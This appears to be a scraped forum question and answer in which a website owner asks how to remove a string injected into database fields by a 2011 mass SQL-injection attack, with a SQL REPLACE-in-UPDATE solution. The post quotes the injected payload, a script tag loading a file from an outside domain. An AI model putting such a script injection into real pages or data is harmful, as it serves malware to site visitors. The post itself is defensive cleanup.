sql remove string from field and update
I have unfortunately fallen victim to this recent attack: http://www.theregister.co.uk/2011/10/14/mass_website_inection_grows/. I have found the suspicious code inside many of the fields within my database.
The added code in each cell is always the same:
WARNING: Do not attempt to load the location of this file, I don't know what the consequences might be but I will not be responsible for anyone wanting to find out
</title><script src=http:开发者_JS百科//nbnjki.com/urchin.js ></script>
I am looking for a query I can run which will take each cell in a selected column and if it finds this string, replace it with ''
, making sure not to affect the existing contents of the cell.
Ok got my solution, think I panicked because of the urgency of having just realised, for anyone else:
Update dbo.authors
Set city = replace(city, 'Salt', 'Olympic');
from http://www.sqlteam.com/article/using-replace-in-an-update-statement
You could use the REPLACE function in an UPDATE statement.
精彩评论